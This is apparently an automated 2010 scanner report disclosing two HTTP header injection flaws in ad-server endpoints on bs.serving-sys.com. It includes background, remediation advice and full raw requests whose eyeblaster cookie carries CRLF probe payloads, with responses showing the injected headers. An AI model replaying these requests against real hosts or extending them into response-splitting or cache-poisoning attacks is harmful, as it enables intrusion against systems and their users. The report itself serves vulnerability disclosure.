bs.serving-sys.com, HTTP Header Injection Report for 12-14-2010

CWE-113, HTTP Header Injection in bs.serving-sys.com | CloudScan Vulnerability Crawler

Report generated by XSS.CX at Mon Dec 13 20:20:00 CST 2010.


Contents

Loading

1. HTTP header injection

1.1. http://bs.serving-sys.com/BurstingPipe/BannerRedirect.asp [eyeblaster cookie]

1.2. http://bs.serving-sys.com/BurstingPipe/BannerSource.asp [eyeblaster cookie]



1. HTTP header injection
There are 2 instances of this issue:

Issue background

HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.

Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.

Issue remediation

If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.


1.1. http://bs.serving-sys.com/BurstingPipe/BannerRedirect.asp [eyeblaster cookie]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://bs.serving-sys.com
Path:   /BurstingPipe/BannerRedirect.asp

Issue detail

The value of the eyeblaster cookie is copied into the Set-Cookie response header. The payload 6e990%0d%0ad1964bbbe12 was submitted in the eyeblaster cookie. This caused a response containing an injected HTTP header.

Request

GET /BurstingPipe/BannerRedirect.asp HTTP/1.1
Host: bs.serving-sys.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: U=9a418881-221a-422b-8c26-d094f1df3ebf3Ey04g; A2=fZeI9WKQ0aVX0000820wsdfLYa9Unv04gI9Unfm5xos6ec+d9T.v084o0000820ws5fpvP9T.n0bKd0000820ws5e2F69Wy302Ed0000820wscfxqw9WSl06IX0000ry9Ksddvkb9VvC03sY0000820ws9fWFs9Wax02WG0000g410sbfGw99Wym05sM0000820wscfG6y9T.y09bw0000820ws5fdnj9XoY02WG0000820wsfe.Ea9T.o07ft0000820ws5g3vP9X7Q08wQ0000820wsef8.99XfZ07k10000820wsefVQU9Xg107A80000820wsefpvl9Xwx0bKd0000820wsff3lm9Xw.07RT0000820wsfeewR9WUS02Ed0000820wsdfFSg9Vrh09bw0000820ws9aKFt9Xyc084o0000820wsffF699XoZ02WG0000gA92sffIU99Tea08Y50000820ws3fIxi9Te909EZ0000820ws3eewU9WSb02Ed0000g210sdfUPP9Way02WG9WaySdzosbd2A59T.n0abM9T.ve3wUs5fWDu9Wax02WG9Wayu7xUsbdsy29WKQ03sY0000820wsdd2A69T.n0abM0000820ws5fnMu9XwK0bKd0000820wsfdAnN9XfZ0bcF0000820wsef8Tq9T.v0bnA00008y8ys5fDqt9X7Q08wQ9X7Qe3wUsefITd9Te708Y50000820ws3eLLf9Xs00bnA0000w820sffWeu9X7Q08wQ9X7Qe3wUsefWU49Unu04gI0000rCVKs6fWFP9Way02WG0000o61wsbekRN9Tj.0aPa0000820ws3fxqt9X2O06IX00008y8yse; eyeblaster=BWVal=4126&BWDate=40524.570266&debuglevel=&FLV=10.1103&RES=128&WMPV=06e990%0d%0ad1964bbbe12; F1=00UilH0003sY9QVZ; B2=7hRc0820wsc7kAl0820ws56zOA0820ws97nUy0820wsf7oce0oC9ysf7M.D0820ws37MyX0Sdzosb6+aE0820wsd6Hre0820wse7EYc0e3wUse6+aF0g210sd7MyY0u7xUsb7Os+0820wse78.q1820ws35.170820ws27grM08y8ys57MyZ0Ea2wsb7EYd0e3wUse7EYe0820wse7PGx0820wsd7HDq0820ws97pKt0820wse7d1H0w820sf7c1A1820ws37Pfd0rCVKs66ZCh0820ws57lD00ry9Ksd7lDc08y8yse7HIh0820ws57yit0820wsf6qCb0m5xos56eKX0820wsc6zKo0820wsd5BU.0820wsf7ygY0820ws57dOp0820wr+71af0820ws37IkP0m5xos65.190g410s27yg+0820wsf; u2=9a418881-221a-422b-8c26-d094f1df3ebf3Ey04g; E2=0aPa820ws3084oE210sf08Y5g410s308.I820wrF09KD820wrZ066N820wrV0bcF820wse02Edw620sd0aVX820wsd07A8820wse07l0820wrU077Tg20wr+08wQu7xUse07RT820wsf02WGSCbqsf0a4cg410rM07fto20ws50abMm5xos503sYg410sd06IXPyaese04gILHW+s603Mo820wrG09EZ820ws30apK820wrU0bKdo41wsf07SK820wrM04uwg210rm07k1820wse0bnAME2ysf05sM820wsc09KL820wrB09bwg210s9; C3=0uP4Sdzosb0008w01_0lN6820wrG0000004_0t3m820wrm0000004_0ppC820wrU000000g_0sufm5xos50000002_0uyM820wrN0000001_0ouS820wsf0000040_0sJz820wsd00000g0_0rCe820wrm0000002_0rWHw620sd000001w_0nCJ820wrM000000g_0vq9o41wsf0000001_0u4d820ws50000040_0vsV820wrN0000001_0oLK820wrB000000g_0o2A820wre000000w_0tlu820wse000000w_0uv28y8ys50000001_0tITg20wr+00000w0_0ub+820wrF0000001_0q+Y820wrU0000040_0nez820wrV0000010_0viV820ws30000010_0waS820wse000000w_0mUAu7xUse0000040_0v36Pyaese0000090_0ugT820ws3000000w_0vaTLHW+s60000008_0uXR820wsf0000001_0uUv820wsc0000004_0uwbg410s30000102_0vjkg210s90000i00_0uCPoC9ysf0002000_0sNYg410sd0000820_0vae820wse0000010_0u72M820sf0000004_0uXig410rM0000002_0r9+o61ws20000001_0vlN820wrZ0000001_0t8k820ws50000200_; u3=1; ActivityInfo=000nx2bhg%5f000nx5bhf%5f0008uqbh0%5f000g3dbdR%5f000nx1bhf%5f; D3=0mUA00h8u7xUse0v3602.Vzyaese0uUv00W1820wsc0vaT00EMLHW+s60uP400ai820wr+0r9+04E.o61ws20rWH02A.820wsc0tlu03YR820wse0sJz00wJ820wsd0sNY00wJ820wsd0rWH02.Vo41wsd0vae03YR820wse0waS05uz820wse0vq905Zwo41wsf0vjk004H820ws50uwb02.V820ws30vlN04od820wrZ0vjk03j6820ws90q+Y07jq820wrU0t8k005D820ws50uXR02bP820wsf0uP4021RSdzosb0v3602KuEa2wr+0u7202RfM820sf0uCP00tRoC9ysf0suf02efm5xos50tIT02fxg20wr+0uXi00Y3g410rM0uyM005D820wrN0sNY00b1820ws90ouS04F6820wsf0uP400dDm5xorY0viV00Mm820ws30ugT00tR820ws30u4d05Gc820ws50uwb00Mm820ws30nez01B9820wrV0vsV00as820wrN0ppC007X820wrU0uv201xc8y8ys5;

Response

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Length: 0
Content-Type: text/html
Expires: Sun, 05-Jun-2005 22:00:00 GMT
P3P: policyref=http://www.eyeblaster.com/p3p/Eyeblaster-served-p3p2.xml,CP="NOI DEVa OUR BUS UNI"
X-Powered-By: ASP.NET
Set-Cookie: eyeblaster=BWVal=4126&BWDate=40524.570266&debuglevel=&FLV=10.1103&RES=128&WMPV=06e990
d1964bbbe12
; expires=Thu, 31-Dec-2037 22: 00:00 GMT; domain=bs.serving-sys.com; path=/
Set-Cookie: u2=9a418881-221a-422b-8c26-d094f1df3ebf3Ey04g; expires=Thu, 31-Dec-2037 22:00:00 GMT; domain=.serving-sys.com; path=/
Set-Cookie: u3=1; expires=Thu, 31-Dec-2037 22:00:00 GMT; domain=.serving-sys.com; path=/
Set-Cookie: U=9a418881-221a-422b-8c26-d094f1df3ebf3Ey04g; expires=Thu, 17-Apr-2010 22:00:00 GMT; domain=.serving-sys.com; path=/
Connection: close


1.2. http://bs.serving-sys.com/BurstingPipe/BannerSource.asp [eyeblaster cookie]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://bs.serving-sys.com
Path:   /BurstingPipe/BannerSource.asp

Issue detail

The value of the eyeblaster cookie is copied into the Set-Cookie response header. The payload 87a6c%0d%0a494cd03cb30 was submitted in the eyeblaster cookie. This caused a response containing an injected HTTP header.

Request

GET /BurstingPipe/BannerSource.asp HTTP/1.1
Host: bs.serving-sys.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: U=9a418881-221a-422b-8c26-d094f1df3ebf3Ey04g; A2=fZeI9WKQ0aVX0000820wsdfLYa9Unv04gI9Unfm5xos6ec+d9T.v084o0000820ws5fpvP9T.n0bKd0000820ws5e2F69Wy302Ed0000820wscfxqw9WSl06IX0000ry9Ksddvkb9VvC03sY0000820ws9fWFs9Wax02WG0000g410sbfGw99Wym05sM0000820wscfG6y9T.y09bw0000820ws5fdnj9XoY02WG0000820wsfe.Ea9T.o07ft0000820ws5g3vP9X7Q08wQ0000820wsef8.99XfZ07k10000820wsefVQU9Xg107A80000820wsefpvl9Xwx0bKd0000820wsff3lm9Xw.07RT0000820wsfeewR9WUS02Ed0000820wsdfFSg9Vrh09bw0000820ws9aKFt9Xyc084o0000820wsffF699XoZ02WG0000gA92sffIU99Tea08Y50000820ws3fIxi9Te909EZ0000820ws3eewU9WSb02Ed0000g210sdfUPP9Way02WG9WaySdzosbd2A59T.n0abM9T.ve3wUs5fWDu9Wax02WG9Wayu7xUsbdsy29WKQ03sY0000820wsdd2A69T.n0abM0000820ws5fnMu9XwK0bKd0000820wsfdAnN9XfZ0bcF0000820wsef8Tq9T.v0bnA00008y8ys5fDqt9X7Q08wQ9X7Qe3wUsefITd9Te708Y50000820ws3eLLf9Xs00bnA0000w820sffWeu9X7Q08wQ9X7Qe3wUsefWU49Unu04gI0000rCVKs6fWFP9Way02WG0000o61wsbekRN9Tj.0aPa0000820ws3fxqt9X2O06IX00008y8yse; eyeblaster=BWVal=4126&BWDate=40524.570266&debuglevel=&FLV=10.1103&RES=128&WMPV=087a6c%0d%0a494cd03cb30; F1=00UilH0003sY9QVZ; B2=7hRc0820wsc7kAl0820ws56zOA0820ws97nUy0820wsf7oce0oC9ysf7M.D0820ws37MyX0Sdzosb6+aE0820wsd6Hre0820wse7EYc0e3wUse6+aF0g210sd7MyY0u7xUsb7Os+0820wse78.q1820ws35.170820ws27grM08y8ys57MyZ0Ea2wsb7EYd0e3wUse7EYe0820wse7PGx0820wsd7HDq0820ws97pKt0820wse7d1H0w820sf7c1A1820ws37Pfd0rCVKs66ZCh0820ws57lD00ry9Ksd7lDc08y8yse7HIh0820ws57yit0820wsf6qCb0m5xos56eKX0820wsc6zKo0820wsd5BU.0820wsf7ygY0820ws57dOp0820wr+71af0820ws37IkP0m5xos65.190g410s27yg+0820wsf; u2=9a418881-221a-422b-8c26-d094f1df3ebf3Ey04g; E2=0aPa820ws3084oE210sf08Y5g410s308.I820wrF09KD820wrZ066N820wrV0bcF820wse02Edw620sd0aVX820wsd07A8820wse07l0820wrU077Tg20wr+08wQu7xUse07RT820wsf02WGSCbqsf0a4cg410rM07fto20ws50abMm5xos503sYg410sd06IXPyaese04gILHW+s603Mo820wrG09EZ820ws30apK820wrU0bKdo41wsf07SK820wrM04uwg210rm07k1820wse0bnAME2ysf05sM820wsc09KL820wrB09bwg210s9; C3=0uP4Sdzosb0008w01_0lN6820wrG0000004_0t3m820wrm0000004_0ppC820wrU000000g_0sufm5xos50000002_0uyM820wrN0000001_0ouS820wsf0000040_0sJz820wsd00000g0_0rCe820wrm0000002_0rWHw620sd000001w_0nCJ820wrM000000g_0vq9o41wsf0000001_0u4d820ws50000040_0vsV820wrN0000001_0oLK820wrB000000g_0o2A820wre000000w_0tlu820wse000000w_0uv28y8ys50000001_0tITg20wr+00000w0_0ub+820wrF0000001_0q+Y820wrU0000040_0nez820wrV0000010_0viV820ws30000010_0waS820wse000000w_0mUAu7xUse0000040_0v36Pyaese0000090_0ugT820ws3000000w_0vaTLHW+s60000008_0uXR820wsf0000001_0uUv820wsc0000004_0uwbg410s30000102_0vjkg210s90000i00_0uCPoC9ysf0002000_0sNYg410sd0000820_0vae820wse0000010_0u72M820sf0000004_0uXig410rM0000002_0r9+o61ws20000001_0vlN820wrZ0000001_0t8k820ws50000200_; u3=1; ActivityInfo=000nx2bhg%5f000nx5bhf%5f0008uqbh0%5f000g3dbdR%5f000nx1bhf%5f; D3=0mUA00h8u7xUse0v3602.Vzyaese0uUv00W1820wsc0vaT00EMLHW+s60uP400ai820wr+0r9+04E.o61ws20rWH02A.820wsc0tlu03YR820wse0sJz00wJ820wsd0sNY00wJ820wsd0rWH02.Vo41wsd0vae03YR820wse0waS05uz820wse0vq905Zwo41wsf0vjk004H820ws50uwb02.V820ws30vlN04od820wrZ0vjk03j6820ws90q+Y07jq820wrU0t8k005D820ws50uXR02bP820wsf0uP4021RSdzosb0v3602KuEa2wr+0u7202RfM820sf0uCP00tRoC9ysf0suf02efm5xos50tIT02fxg20wr+0uXi00Y3g410rM0uyM005D820wrN0sNY00b1820ws90ouS04F6820wsf0uP400dDm5xorY0viV00Mm820ws30ugT00tR820ws30u4d05Gc820ws50uwb00Mm820ws30nez01B9820wrV0vsV00as820wrN0ppC007X820wrU0uv201xc8y8ys5;

Response

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Length: 0
Content-Type: text/html
Expires: Sun, 05-Jun-2005 22:00:00 GMT
Set-Cookie: eyeblaster=BWVal=4126&BWDate=40524.570266&debuglevel=&FLV=10.1103&RES=128&WMPV=087a6c
494cd03cb30
; expires=Thu, 31-Dec-2037 22: 00:00 GMT; domain=bs.serving-sys.com; path=/
Set-Cookie: u2=9a418881-221a-422b-8c26-d094f1df3ebf3Ey04g; expires=Thu, 31-Dec-2037 22:00:00 GMT; domain=.serving-sys.com; path=/
Set-Cookie: u3=1; expires=Thu, 31-Dec-2037 22:00:00 GMT; domain=.serving-sys.com; path=/
Set-Cookie: U=9a418881-221a-422b-8c26-d094f1df3ebf3Ey04g; expires=Thu, 17-Apr-2010 22:00:00 GMT; domain=.serving-sys.com; path=/
Set-Cookie: C_=BlankImage
P3P: CP="NOI DEVa OUR BUS UNI"
Date: Mon, 13 Dec 2010 23:00:23 GMT
Connection: close


Report generated by XSS.CX at Mon Dec 13 20:20:00 CST 2010.